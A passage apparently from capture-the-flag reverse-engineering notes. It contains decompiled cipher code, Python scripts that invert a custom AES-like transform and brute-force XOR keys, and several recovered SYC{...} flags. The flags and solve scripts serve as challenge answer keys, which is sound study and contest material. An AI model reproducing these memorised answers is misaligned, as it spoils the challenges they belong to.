ShiftRow(v5);
ShiftRow(v6);
tansform(v5);
tansform(v6);
for ( mm = 0; mm <= 15; ++mm )
{
v5[mm] ^= v18[16 * kk + mm];
v5[mm + 16] ^= v18[16 * kk + mm];
}
for ( nn = 0; nn < v22; ++nn )
v5[nn] = S[v5[nn]];
}
'''
c = [S.index(i) for i in c]
for i in range(16):
c[i] ^= v18[i]
c[i+16] ^= v18[i]
c = transform(c[:16]) + transform(c[16:])
c = rshiftrow(c[:16]) + rshiftrow(c[16:])
m = [S.index(i) for i in c]
print(bytes(m))
#SYC{0.o_Thls_1s_n0t_A3s_(q^_^p)}
m1 = [75,109,102,63,107,112,63,108,124,112,109,122,63,43,47,63,111,112,118,113,107,108,62]
m2 = [124,90,81,8,92,71,8,90,77,73,75,64,8,25,24,24,8,88,71,65,70,92,91,9]
for i in range(128):
i
xor(bytes(m1), bytes([i]))
xor(bytes(m2), bytes([i]))
31
b'Try to score 40 points!'
b'cEN\x17CX\x17ERVT_\x17\x06\x07\x07\x17GX^YCD\x16'
40
b'cEN\x17CX\x17DTXER\x17\x03\x07\x17GX^YCD\x16'
b'Try to reach 100 points!'
SYC{Try to score 40 points!Try to reach 100 points!}
md5(b'Try to score 40 points!').hexdigest()
CBDDD133B60130856D3C695D9E5ED6A5
SYC{CBDDD133B60130856D3C695D9E5ED6A5}
c = [120,91,86,122,93,84,37,49,32,104,61,100,-110,118,99,123,89,87,33,-124,87,118,-121,114,-124,-123,112,-98,79,112,114,-124,87,-120]
c = [i&0xff for i in c]
tab = b'i5jLW7S0GX6uf1cv3ny4q8es2Q+bdkYgKOIT/tAxUrFlVPzhmow9BHCMDpEaJRZN'
key = list(b'fuwafuwa')
k = ''
for i in range(len(c)):
for j in range(256):
v = ((j+i)&0xff)^(key[i%4]%32 +1)
if v ==c[i]:
k +=chr(j)
break
else:
print(i,j,'err')
for v in range(8):
if 97<=key[v]<=122:
key[v] = (key[v]-97 + i)%26 + 97
elif 65<=key[v]<=90:
key[v] = (key[v]-65 + i)%26 + 65
key = key[::-1]
for i in range(128):
t = bytes([j^i for j in k.encode()])
if all([1 if j in tab else 0 for j in t]):
print(t)
c2 = 'jWXxYB794B7vntOq+W7jQBiDnetz+tPt+x'